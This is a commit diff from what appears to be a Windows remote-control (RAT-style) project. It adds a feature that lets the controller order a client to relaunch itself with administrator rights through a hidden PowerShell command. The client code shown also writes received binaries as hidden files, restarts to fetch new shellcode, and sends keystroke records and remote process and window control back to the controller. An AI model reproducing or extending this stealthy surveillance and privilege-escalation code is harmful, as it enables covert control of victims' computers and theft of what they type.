Feature: Add run client program as admin feature
This commit is contained in:
@@ -14,7 +14,7 @@
|
|||||||
// Զ<>̵<EFBFBD>ַ
|
// Զ<>̵<EFBFBD>ַ
|
||||||
CONNECT_ADDRESS g_SETTINGS = {
|
CONNECT_ADDRESS g_SETTINGS = {
|
||||||
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||||||
FALSE, Startup_DLL, PROTOCOL_SHINE, PROTO_RANDOM, RUNNING_RANDOM, {},
|
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, {},
|
||||||
0, 7057226198541618915, {},
|
0, 7057226198541618915, {},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
// KernelManager.cpp: implementation of the CKernelManager class.
|
// KernelManager.cpp: implementation of the CKernelManager class.
|
||||||
//
|
//
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
@@ -16,7 +16,7 @@
|
|||||||
#include "IOCPUDPClient.h"
|
#include "IOCPUDPClient.h"
|
||||||
#include "IOCPKCPClient.h"
|
#include "IOCPKCPClient.h"
|
||||||
|
|
||||||
// UDP Э<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// UDP 协议仅能针对小包数据,且数据没有时序关联
|
||||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
||||||
if (conn->protoType == PROTO_HTTPS) return NULL;
|
if (conn->protoType == PROTO_HTTPS) return NULL;
|
||||||
|
|
||||||
@@ -79,7 +79,7 @@ CKernelManager::~CKernelManager()
|
|||||||
Mprintf("~CKernelManager end\n");
|
Mprintf("~CKernelManager end\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD>߳<EFBFBD><EFBFBD>±<EFBFBD>
|
// 获取可用的线程下标
|
||||||
UINT CKernelManager::GetAvailableIndex() {
|
UINT CKernelManager::GetAvailableIndex() {
|
||||||
if (m_ulThreadCount < MAX_THREADNUM) {
|
if (m_ulThreadCount < MAX_THREADNUM) {
|
||||||
return m_ulThreadCount;
|
return m_ulThreadCount;
|
||||||
@@ -106,7 +106,7 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser
|
|||||||
if (std::string("ServerDll.new")!=name) return TRUE;
|
if (std::string("ServerDll.new")!=name) return TRUE;
|
||||||
DeleteFileA(path);
|
DeleteFileA(path);
|
||||||
}
|
}
|
||||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģʽд<EFBFBD><EFBFBD>
|
// 打开文件,以二进制模式写入
|
||||||
std::string filePath = path;
|
std::string filePath = path;
|
||||||
std::ofstream outFile(filePath, std::ios::binary);
|
std::ofstream outFile(filePath, std::ios::binary);
|
||||||
|
|
||||||
@@ -116,7 +116,7 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// д<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// 写入二进制数据
|
||||||
outFile.write(data, size);
|
outFile.write(data, size);
|
||||||
|
|
||||||
if (outFile.good())
|
if (outFile.good())
|
||||||
@@ -130,9 +130,9 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <EFBFBD>ر<EFBFBD><EFBFBD>ļ<EFBFBD>
|
// 关闭文件
|
||||||
outFile.close();
|
outFile.close();
|
||||||
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// 设置文件属性为隐藏
|
||||||
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||||
{
|
{
|
||||||
Mprintf("File created and set to hidden: %s\n", filePath.c_str());
|
Mprintf("File created and set to hidden: %s\n", filePath.c_str());
|
||||||
@@ -224,6 +224,149 @@ DWORD WINAPI SendKeyboardRecord(LPVOID lParam) {
|
|||||||
return 0xDead0001;
|
return 0xDead0001;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 判断 PowerShell 版本是否 >= 3.0
|
||||||
|
bool IsPowerShellAvailable() {
|
||||||
|
// 设置启动信息
|
||||||
|
STARTUPINFO si = { sizeof(si) };
|
||||||
|
PROCESS_INFORMATION pi;
|
||||||
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||||
|
si.wShowWindow = SW_HIDE; // 隐藏窗口
|
||||||
|
|
||||||
|
// 创建匿名管道以捕获 PowerShell 输出
|
||||||
|
SECURITY_ATTRIBUTES sa = { sizeof(sa) };
|
||||||
|
sa.bInheritHandle = TRUE; // 管道句柄可继承
|
||||||
|
|
||||||
|
HANDLE hReadPipe, hWritePipe;
|
||||||
|
if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
|
||||||
|
Mprintf("CreatePipe failed. Error: %d\n", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置标准输出和错误输出到管道
|
||||||
|
si.hStdOutput = hWritePipe;
|
||||||
|
si.hStdError = hWritePipe;
|
||||||
|
si.dwFlags |= STARTF_USESTDHANDLES;
|
||||||
|
|
||||||
|
// 构造 PowerShell 命令
|
||||||
|
std::string command = "powershell -Command \"$PSVersionTable.PSVersion.Major\"";
|
||||||
|
// 创建 PowerShell 进程
|
||||||
|
if (!CreateProcess(
|
||||||
|
nullptr, // 不指定模块名(使用命令行)
|
||||||
|
(LPSTR)command.c_str(), // 命令行参数
|
||||||
|
nullptr, // 进程句柄不可继承
|
||||||
|
nullptr, // 线程句柄不可继承
|
||||||
|
TRUE, // 继承句柄
|
||||||
|
CREATE_NO_WINDOW, // 不显示窗口
|
||||||
|
nullptr, // 使用父进程环境块
|
||||||
|
nullptr, // 使用父进程工作目录
|
||||||
|
&si, // 启动信息
|
||||||
|
&pi // 进程信息
|
||||||
|
)) {
|
||||||
|
Mprintf("CreateProcess failed. Error: %d\n", GetLastError());
|
||||||
|
CloseHandle(hReadPipe);
|
||||||
|
CloseHandle(hWritePipe);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关闭管道的写端
|
||||||
|
CloseHandle(hWritePipe);
|
||||||
|
|
||||||
|
// 读取 PowerShell 输出
|
||||||
|
std::string result;
|
||||||
|
char buffer[128];
|
||||||
|
DWORD bytesRead;
|
||||||
|
while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, nullptr) && bytesRead > 0) {
|
||||||
|
buffer[bytesRead] = '\0';
|
||||||
|
result += buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关闭管道的读端
|
||||||
|
CloseHandle(hReadPipe);
|
||||||
|
|
||||||
|
// 等待进程结束
|
||||||
|
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||||
|
|
||||||
|
// 获取退出代码
|
||||||
|
DWORD exitCode=0;
|
||||||
|
if (!GetExitCodeProcess(pi.hProcess, &exitCode)) {
|
||||||
|
Mprintf("GetExitCodeProcess failed. Error: %d\n", GetLastError());
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关闭进程和线程句柄
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
|
||||||
|
// 解析返回的版本号
|
||||||
|
if (exitCode == 0) {
|
||||||
|
try {
|
||||||
|
int version = std::stoi(result);
|
||||||
|
Mprintf("PowerShell version: %d\n", version);
|
||||||
|
return version >= 3;
|
||||||
|
}
|
||||||
|
catch (...) {
|
||||||
|
Mprintf("Failed to parse PowerShell version.\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Mprintf("PowerShell command failed with exit code: %d\n", exitCode);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
Windows 10/11: 👉 放心使用,可以直接运行
|
||||||
|
Windows 7: 如果 PowerShell 版本 >= 3.0,可以运行; 否则无法以管理员权限重启
|
||||||
|
*/
|
||||||
|
bool StartAdminLauncherAndExit(const char* exePath, bool admin = true) {
|
||||||
|
// 获取当前进程 ID
|
||||||
|
DWORD currentPID = GetCurrentProcessId();
|
||||||
|
|
||||||
|
// 构造 PowerShell 命令,等待当前进程退出后以管理员权限启动
|
||||||
|
std::string launcherCmd = "powershell -Command \"Start-Sleep -Seconds 1; " // 等待 1 秒,确保当前进程退出
|
||||||
|
"while (Get-Process -Id " + std::to_string(currentPID) + " -ErrorAction SilentlyContinue) { Start-Sleep -Milliseconds 500 }; "
|
||||||
|
"Start-Process -FilePath '" + std::string(exePath);
|
||||||
|
launcherCmd += admin ? "' -Verb RunAs\"" : "' \""; // 以管理员权限启动目标进程
|
||||||
|
|
||||||
|
// 启动隐藏的 cmd 进程
|
||||||
|
STARTUPINFO si = { sizeof(si) };
|
||||||
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||||
|
si.wShowWindow = SW_HIDE; // 隐藏窗口
|
||||||
|
PROCESS_INFORMATION pi = {};
|
||||||
|
Mprintf("Run: %s\n", launcherCmd.c_str());
|
||||||
|
if (CreateProcessA(NULL, (LPSTR)launcherCmd.c_str(), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
|
||||||
|
Mprintf("CreateProcess to start launcher process [%d].\n", pi.dwProcessId);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("Failed to start launcher process.\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IsRunningAsAdmin()
|
||||||
|
{
|
||||||
|
BOOL isAdmin = FALSE;
|
||||||
|
PSID administratorsGroup = NULL;
|
||||||
|
|
||||||
|
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
||||||
|
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
|
||||||
|
0, 0, 0, 0, 0, 0, &administratorsGroup))
|
||||||
|
{
|
||||||
|
if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin))
|
||||||
|
{
|
||||||
|
isAdmin = FALSE;
|
||||||
|
}
|
||||||
|
FreeSid(administratorsGroup);
|
||||||
|
}
|
||||||
|
|
||||||
|
return isAdmin;
|
||||||
|
}
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
@@ -237,11 +380,29 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
switch (szBuffer[0])
|
switch (szBuffer[0])
|
||||||
{
|
{
|
||||||
|
case CMD_RUNASADMIN: {
|
||||||
|
char curFile[_MAX_PATH] = {};
|
||||||
|
GetModuleFileName(NULL, curFile, MAX_PATH);
|
||||||
|
if (!IsRunningAsAdmin())
|
||||||
|
{
|
||||||
|
if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile)) {
|
||||||
|
g_bExit = S_CLIENT_EXIT;
|
||||||
|
// 强制退出当前进程,并稍后以管理员权限运行
|
||||||
|
Mprintf("CKernelManager: [%s] Restart with administrator privileges.\n", curFile);
|
||||||
|
Sleep(1000);
|
||||||
|
TerminateProcess(GetCurrentProcess(), 0xABCDEF);
|
||||||
|
}
|
||||||
|
Mprintf("CKernelManager: [%s] Restart with administrator privileges FAILED.\n", curFile);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
Mprintf("CKernelManager: [%s] Running with administrator privileges.\n", curFile);
|
||||||
|
break;
|
||||||
|
}
|
||||||
case CMD_AUTHORIZATION: {
|
case CMD_AUTHORIZATION: {
|
||||||
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
|
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
|
||||||
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
||||||
#ifndef _DEBUG
|
#ifndef _DEBUG
|
||||||
if (hMutex == NULL) { // û<EFBFBD>л<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
if (hMutex == NULL) { // 没有互斥量,主程序可能未运行
|
||||||
Mprintf("!!! [WARN] Master program is not running.\n");
|
Mprintf("!!! [WARN] Master program is not running.\n");
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
@@ -253,10 +414,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
||||||
if (passCode[0] == 0) {
|
if (passCode[0] == 0) {
|
||||||
std::string devId = getDeviceID();
|
std::string devId = getDeviceID();
|
||||||
memcpy(buf + 24, buf + 12, 8); // <EFBFBD><EFBFBD>Ϣǩ<EFBFBD><EFBFBD>
|
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
||||||
memcpy(buf + 96, buf + 8, 4); // ʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
||||||
memcpy(buf + 5, devId.c_str(), devId.length()); // 16<EFBFBD>ֽ<EFBFBD>
|
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
||||||
memcpy(buf + 32, pwdHash, 64); // 64<EFBFBD>ֽ<EFBFBD>
|
memcpy(buf + 32, pwdHash, 64); // 64字节
|
||||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||||
Mprintf("Request for authorization update.\n");
|
Mprintf("Request for authorization update.\n");
|
||||||
} else {
|
} else {
|
||||||
@@ -283,7 +444,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
|
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
|
||||||
if (md5.empty() || md5 != info->Md5 || !m_conn->IsVerified()) {
|
if (md5.empty() || md5 != info->Md5 || !m_conn->IsVerified()) {
|
||||||
// <EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>а<EFBFBD><EFBFBD><EFBFBD>DLL<EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD>˼<EFBFBD><EFBFBD>Ȿ<EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD>Ѿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>
|
// 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码
|
||||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -370,7 +531,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
|
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case COMMAND_KEYBOARD: //<EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼
|
case COMMAND_KEYBOARD: //键盘记录
|
||||||
{
|
{
|
||||||
if (m_hKeyboard) {
|
if (m_hKeyboard) {
|
||||||
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||||
@@ -396,14 +557,14 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SYSTEM: //Զ<EFBFBD>̽<EFBFBD><EFBFBD>̹<EFBFBD><EFBFBD><EFBFBD>
|
case COMMAND_SYSTEM: //远程进程管理
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WSLIST: //Զ<EFBFBD>̴<EFBFBD><EFBFBD>ڹ<EFBFBD><EFBFBD><EFBFBD>
|
case COMMAND_WSLIST: //远程窗口管理
|
||||||
{
|
{
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
@@ -412,7 +573,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case COMMAND_BYE:
|
case COMMAND_BYE:
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_BYE;// <EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD>
|
BYTE bToken = COMMAND_BYE;// 被控端退出
|
||||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
g_bExit = S_CLIENT_EXIT;
|
g_bExit = S_CLIENT_EXIT;
|
||||||
Mprintf("======> Client exit \n");
|
Mprintf("======> Client exit \n");
|
||||||
@@ -421,7 +582,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
case SERVER_EXIT:
|
case SERVER_EXIT:
|
||||||
{
|
{
|
||||||
// <EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD>
|
// 主控端退出
|
||||||
g_bExit = S_SERVER_EXIT;
|
g_bExit = S_SERVER_EXIT;
|
||||||
Mprintf("======> Server exit \n");
|
Mprintf("======> Server exit \n");
|
||||||
break;
|
break;
|
||||||
@@ -476,15 +637,30 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_UPDATE:
|
case COMMAND_UPDATE:{
|
||||||
{
|
auto typ = m_conn->ClientType();
|
||||||
ULONGLONG size=0;
|
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
|
||||||
|
ULONGLONG size = 0;
|
||||||
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
||||||
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
||||||
g_bExit = S_CLIENT_UPDATE;
|
g_bExit = S_CLIENT_UPDATE;
|
||||||
}
|
}
|
||||||
break;
|
}else if (typ == CLIENT_TYPE_SHELLCODE || typ == CLIENT_TYPE_MEMDLL) {
|
||||||
|
char curFile[_MAX_PATH] = {};
|
||||||
|
GetModuleFileName(NULL, curFile, MAX_PATH);
|
||||||
|
if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile, false)) {
|
||||||
|
g_bExit = S_CLIENT_UPDATE;
|
||||||
|
// 强制退出当前进程,并重新启动;这会触发重新获取 Shell code 从而做到软件升级
|
||||||
|
Mprintf("CKernelManager: [%s] Will be updated.\n", curFile);
|
||||||
|
Sleep(1000);
|
||||||
|
TerminateProcess(GetCurrentProcess(), 0xABCDEF);
|
||||||
|
}
|
||||||
|
Mprintf("CKernelManager: [%s] Update FAILED.\n", curFile);
|
||||||
|
} else {
|
||||||
|
Mprintf("=====> 客户端类型'%d'不支持文件升级\n", typ);
|
||||||
}
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
default:
|
default:
|
||||||
{
|
{
|
||||||
|
|||||||
Binary file not shown.
@@ -311,6 +311,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
|
|||||||
m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH);
|
m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH);
|
||||||
m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO);
|
m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO);
|
||||||
m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH);
|
m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH);
|
||||||
|
m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN);
|
||||||
|
|
||||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||||
m_ServerDLL[i] = nullptr;
|
m_ServerDLL[i] = nullptr;
|
||||||
@@ -430,6 +431,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_NOTIFY(NM_CUSTOMDRAW, IDC_MESSAGE, &CMy2015RemoteDlg::OnNMCustomdrawMessage)
|
ON_NOTIFY(NM_CUSTOMDRAW, IDC_MESSAGE, &CMy2015RemoteDlg::OnNMCustomdrawMessage)
|
||||||
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
|
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
|
||||||
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
|
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
|
||||||
|
ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -1298,6 +1300,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]);
|
||||||
|
|
||||||
std::string masterHash(GetMasterHash());
|
std::string masterHash(GetMasterHash());
|
||||||
if (GetPwdHash() != masterHash || m_superPass.empty()) {
|
if (GetPwdHash() != masterHash || m_superPass.empty()) {
|
||||||
@@ -1353,59 +1356,22 @@ void CMy2015RemoteDlg::OnOnlineMessage()
|
|||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) {
|
|
||||||
fileSize = 0;
|
|
||||||
try {
|
|
||||||
// 打开文件(只读模式)
|
|
||||||
CFile file(filePath, CFile::modeRead | CFile::typeBinary);
|
|
||||||
|
|
||||||
// 获取文件大小
|
|
||||||
fileSize = file.GetLength();
|
|
||||||
|
|
||||||
// 分配内存缓冲区: 头+文件大小+文件内容
|
|
||||||
char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast<size_t>(fileSize) + 1];
|
|
||||||
if (!buffer) {
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
memcpy(buffer+1, &fileSize, sizeof(ULONGLONG));
|
|
||||||
// 读取文件内容到缓冲区
|
|
||||||
file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast<UINT>(fileSize));
|
|
||||||
buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // 添加字符串结束符
|
|
||||||
|
|
||||||
// 释放内存
|
|
||||||
return buffer;
|
|
||||||
}
|
|
||||||
catch (CFileException* e) {
|
|
||||||
// 捕获文件异常
|
|
||||||
TCHAR errorMessage[256];
|
|
||||||
e->GetErrorMessage(errorMessage, 256);
|
|
||||||
e->Delete();
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineUpdate()
|
void CMy2015RemoteDlg::OnOnlineUpdate()
|
||||||
{
|
{
|
||||||
if (IDYES != MessageBox(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"),
|
if (IDYES != MessageBox(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"),
|
||||||
_T("提示"), MB_ICONQUESTION | MB_YESNO))
|
_T("提示"), MB_ICONQUESTION | MB_YESNO))
|
||||||
return;
|
return;
|
||||||
|
|
||||||
char path[_MAX_PATH], * p = path;
|
Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64];
|
||||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
ULONGLONG fileSize = buf->length(true) - 6;
|
||||||
while (*p) ++p;
|
PBYTE buffer = new BYTE[fileSize + 9];
|
||||||
while ('\\' != *p) --p;
|
|
||||||
strcpy(p + 1, "ServerDll.dll");
|
|
||||||
ULONGLONG fileSize = 0;
|
|
||||||
char *buffer = ReadFileToMemory(path, fileSize);
|
|
||||||
if (buffer) {
|
